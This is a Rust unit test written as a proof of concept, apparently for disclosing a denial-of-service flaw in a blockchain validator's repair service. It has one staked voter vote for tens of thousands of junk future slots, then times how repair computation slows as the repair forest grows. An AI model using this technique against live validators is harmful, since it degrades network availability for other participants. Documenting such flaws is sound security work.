/// A single staked voter inflates the repair forest 1:1
    /// with the number of distinct future slots it votes for (no upper bound
    /// The per-iteration cost of `get_best_weighted_repairs`
    /// then grows with the forest size while the number of useful repairs stays
    /// capped by the limits.
    #[test]
    fn poc_repair_thread_dos_forest_inflation() {
        use {
            crate::repair::repair_service::{
                MAX_CLOSEST_COMPLETION_REPAIRS, MAX_ORPHANS, MAX_REPAIR_LENGTH,
                MAX_UNKNOWN_LAST_INDEX_REPAIRS,
            },
            std::time::Instant,
        };

        let ledger_path = get_tmp_ledger_path!();
        let blockstore = Blockstore::open(&ledger_path).unwrap();
        let epoch_stakes = HashMap::new();
        let epoch_schedule = EpochSchedule::default();
        let attacker = vec![Pubkey::new_unique()];

        const ROOT: Slot = 0;
        const FIRST_ATTACK_SLOT: Slot = 1;

        println!(
            "\n  junk slots |   trees | useful repairs |  time/iteration"
        );
        println!(
            "  -----------+---------+----------------+-------------+----------------------------"
        );

        let mut baseline_us = 0u128;
        for &n in &[0u64, 5_000, 50_000] {
            let mut repair_weight = RepairWeight::new(ROOT);

            let votes: Vec<(Slot, Vec<Pubkey>)> = (0..n)
                .map(|i| (FIRST_ATTACK_SLOT + i, attacker.clone()))
                .collect();
            repair_weight.add_voters(
                &blockstore,
                votes.into_iter(),
                &epoch_stakes,
                &epoch_schedule,
            );

            // the forest grew 1:1 with attacker votes
            // and is bounded only by `slot >= root`. (+1 = the rooted tree.)
            assert_eq!(repair_weight.trees.len() as u64, n + 1);

            let mut outstanding = HashMap::default();
            let start = Instant::now();
            let repairs = repair_weight.get_best_weighted_repairs(
                &blockstore,
                &epoch_stakes,
                &epoch_schedule,
                MAX_ORPHANS,
                MAX_REPAIR_LENGTH,
                MAX_UNKNOWN_LAST_INDEX_REPAIRS,
                MAX_CLOSEST_COMPLETION_REPAIRS,
                &mut RepairEligibility::default(),
                &mut RepairMetrics::default(),
                &mut outstanding,
            );
            let elapsed_us = start.elapsed().as_micros();

            let max_output = MAX_ORPHANS
                + MAX_REPAIR_LENGTH
                + MAX_UNKNOWN_LAST_INDEX_REPAIRS
                + MAX_CLOSEST_COMPLETION_REPAIRS;
            assert!(repairs.len() <= max_output);

            println!(
                "  {:>10} | {:>7} | {:>14} | {:>8} us |",
                n,
                repair_weight.trees.len(),
                repairs.len(),
                elapsed_us,
            );

            if n == 0 {
                baseline_us = elapsed_us.max(1);
            }
            if n == 50_000 {
                assert!(
                    elapsed_us > baseline_us * 5,
                    "per-repair iteration cost scales with attacker forest size \
                     (idle={baseline_us}us, attack={elapsed_us}us)"
                );
            }
        }
    }